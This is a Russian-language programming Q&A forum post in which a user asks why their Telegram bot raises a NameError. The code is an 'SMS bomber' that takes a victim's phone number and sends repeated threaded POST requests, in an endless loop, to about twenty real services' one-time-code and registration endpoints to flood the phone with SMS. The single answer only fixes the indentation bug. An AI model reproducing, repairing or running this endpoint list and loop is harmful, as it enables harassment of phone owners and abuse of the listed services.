@SapDragon

Ошибка TeleBot NameError?

Выдает ошибку TELEBOT
Сама ошибка
c:\-comp>python bot.py
Traceback (most recent call last):
File "bot.py", line 9, in
answer = "На бомбер поставлен " + message.text + "телефон" + "\n"
NameError: name 'message' is not defined
Код:
Код : from requests import post 
from time import sleep
from threading import Thread
import telebot 
bot = telebot.TeleBot("Токен нельзя")
@bot.message_handler(content_types=['text'])
def send_echo(message):
	phone = message.text()   
answer = "На бомбер поставлен " + message.text + "телефон" + "\n"

while True:
	try:
		wait = int(3)
		break
	except:
		print("Введите время ожидания между отправкой запросов правильно!")
sites = [{
	"url":'https://koronapay.com/transfers/online/api/users/otps',
	"data":{"phone":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'koronapay.com', 'origin':'https://koronapay.com','Referer':'https://koronapay.com/transfers/online/login'}
},{
	"url":'https://rutube.ru/api/accounts/sendpass/phone?phone=%2B79195346628',
	"data":{"phone":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'rutube.ru', 'origin':'https://rutube.ru','Referer':'https://rutube.ru/'}
},{
	"url":'https://api.ivi.ru/mobileapi/user/register/phone/v6/',
	"data":{"phone":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.ivi.ru', 'origin':'https://www.ivi.ru/','Referer':'https://www.ivi.ru/profile'}
},{
	"url":'https://register.sipnet.ru/cgi-bin/exchange.dll/RegisterHelper?oper=9&phone=79821432646',
	"data":{"phone":phone,"oper":"9"},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'register.sipnet.ru', 'origin':'https://www.sipnet.ru/','Referer':'https://www.sipnet.ru/tarify-ip-telefonii'}
},{
	"url":'https://api.chef.yandex/api/v2/auth/sms',
	"data":{"phone":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.chef.yandex', 'origin':'https://chef.yandex/','Referer':'https://chef.yandex/login'}
},{
	"url":'https://api.tinkoff.ru/v1/sign_up?origin=web%2Cib5%2Cplatform&sessionid=RznyziZkeagDbs6SLIr13ZlfSjusxJbQ.m1-prod-api26&wuid=31ad89052c4944fd8cd55bcf419eefc1',
	"data":{"phone":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.tinkoff.ru', 'origin':'https://www.tinkoff.ru','Referer':'https://www.tinkoff.ru/login/'}
},{
	"url":'https://api.tinkoff.ru/v1/sign_up?origin=web%2Cib5%2Cplatform&sessionid=RznyziZkeagDbs6SLIr13ZlfSjusxJbQ.m1-prod-api26&wuid=31ad89052c4944fd8cd55bcf419eefc1',
	"data":{"phone":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.tinkoff.ru', 'origin':'https://www.tinkoff.ru','Referer':'https://www.tinkoff.ru/login/'}
},{
	"url":'https://smart.space/api/users/request_confirmation_code/',
	"data":{"action":"confirm_mobile","mobile":"a"},
	"headers": {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.gotinder.com', 'origin':'https://tinder.com/?lang=ru','Referer':'https://tinder.com/?lang=ru'}
},{
	"url":'https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru',
	"data":{"phone_number":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.gotinder.com', 'origin':'https://tinder.com/?lang=ru','Referer':'https://tinder.com/?lang=ru'}
},{
	"url":'https://api-user.privetmir.ru/api/send-code',
	"data":{"back_url":"/register/step-2/","scope":"register-user","login":phone,"checkExist":"Y","checkApproves":"Y","approve1":"on","approve2":"on"},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api-user.privetmir.ru', 'origin':'https://privetmir.ru/','Referer':'https://privetmir.ru/register/'}
},{
	"url":'https://online.sbis.ru/reg/service/?x_version=19.412.b-40',
	"data":{"phone":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'online.sbis.ru', 'origin':'https://online.sbis.ru','Referer':'https://online.sbis.ru/auth/?ret=%2F&tab=register&regType=personal'}
},{
	"url":'https://api.sunlight.net/v3/customers/authorization/',
	"data":{"phone":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.sunlight.net', 'origin':'https://sunlight.net/','Referer':'https://sunlight.net/profile/login/?next=/profile/'}
},{
	"url":'https://radugavkusaufa.ru/?action=auth&act=132',
	"data":{"CSRF":"","ACTION":"REGISTER","MODE":"PHONE","PHONE":phone,"PASSWORD":"791911534661128","PASSWORD2":"791911534661128"},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'radugavkusaufa.ru', 'origin':'https://radugavkusaufa.ru','Referer':'https://radugavkusaufa.ru/'}
},{
	"url":'https://beta.delivery-club.ru/api/user/otp',
	"data":{"phone":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'beta.delivery-club.ru', 'origin':'https://beta.delivery-club.ru','Referer':'https://beta.delivery-club.ru/entities/food?authPopupOpened=1'}
},{
	"url":'https://api.ennergiia.com/auth/api/development/lor',
	"data":{"phone":phone,"referrer":"ennergiia","via_sms":"true"},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.ennergiia.com', 'origin':'https://www.ennergiia.com','Referer':'https://www.ennergiia.com/auth'}
},{
	"url":'https://youla.ru/web-api/auth/request_code',
	"data":{"phone":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'youla.ru', 'origin':'https://youla.ru','Referer':'https://youla.ru/surgut'}
},{
	"url":'https://ostin.com/ru/ru/secured/myaccount/myclubcard/resultClubCard.jsp?type=sendConfirmCode&phoneNumber=%207%20(982)143-26-46',
	"data":{"phoneNumer":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'ostin.com', 'origin':'https://ostin.com/','Referer':'https://ostin.com/'}
},{
	"url":'https://www.maxidom.ru/ajax/doRegister.php?RND=0.6416262061536506',
	"data":{"REGISTER_PHIS[LOGIN]":"asaofjkiawhwjk@mail.ru","REGISTER_PHIS[PHONE]":"a","REGISTER_PHIS[PASSWORD]":"asaofjkiawhwjk@mail.ru","REGISTER_PHIS[RULES]":"Y"},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'www.maxidom.ru', 'origin':'https://www.maxidom.ru/','Referer':'https://www.maxidom.ru/ajax/doRegister.php?RND=0.6416262061536506'}
},{
	"url":'https://api.mtstv.ru/v1/users',
	"data":{"msisdn":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.mtstv.ru', 'origin':'https://www.mtstv.ru','Referer':'https://www.mtstv.ru/?popup=auth&tab=reg'}
},{
	"url":'https://app.karusel.ru/api/v1/phone/',
	"data":{"phone":phone},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'app.karusel.ru', 'origin':'https://karusel.ru','Referer':'https://karusel.ru/registration'}
},{
	"url":'https://client.taximaxim.com/site/send-code/?type=0',
	"data":{"_csrf":"SuyaDpUnfWWvTkF8GytL1zAJqUUvLMc_SUXaEGhXsoQa2tJvwF8nC_YJEQpaHhKkVGCRIhljrggQJ4ljCW-G4Q==","LoginForm[org]":"maxim","LoginForm[country]":"ru","LoginForm[baseId]":"11","LoginForm[phone]":phone,"LoginForm[code]":"","LoginForm[agree]":"0"},
	"headers":{'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'client.taximaxim.com', 'origin':'https://client.taximaxim.com','Referer':'https://client.taximaxim.com/login/'}
}]
def send(url,data,headers):
	try:
		print(post(url,data=data,headers=headers))
	except:
		print("<Request Error>")
while True:
	for a in range(len(sites)):
		Thread(target=send,args=[sites[a-1].get("url"),sites[a-1].get("data"),sites[a-1].get("headers")]).start()
	sleep(wait)
	print("=======================")

bot.send_message(message.chat.id, answer)

bot.polling( none_stop = True )
  • Вопрос задан
  • 432 просмотра
Решения вопроса 1
Dr_Elvis
@Dr_Elvis Куратор тега Python
В гугле забанен
Ну так правильно. как и написали в комментариях - почитайте основы python. у вас идет функция
def send_echo(message):
    phone = message.text()

а далее вот этот кусок кода(да и всё что дальше) вне этой функции:
answer = "На бомбер поставлен " + message.text + "телефон" + "\n"

А так как это уже вне функции, то python не знает никакого message, потому что message определен в функции выше.
Вывод - соблюдайте отступы!!! это в Python важно и объясняется в первых 2-3 абзацах ЛЮБОГО туториала для начинающих
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы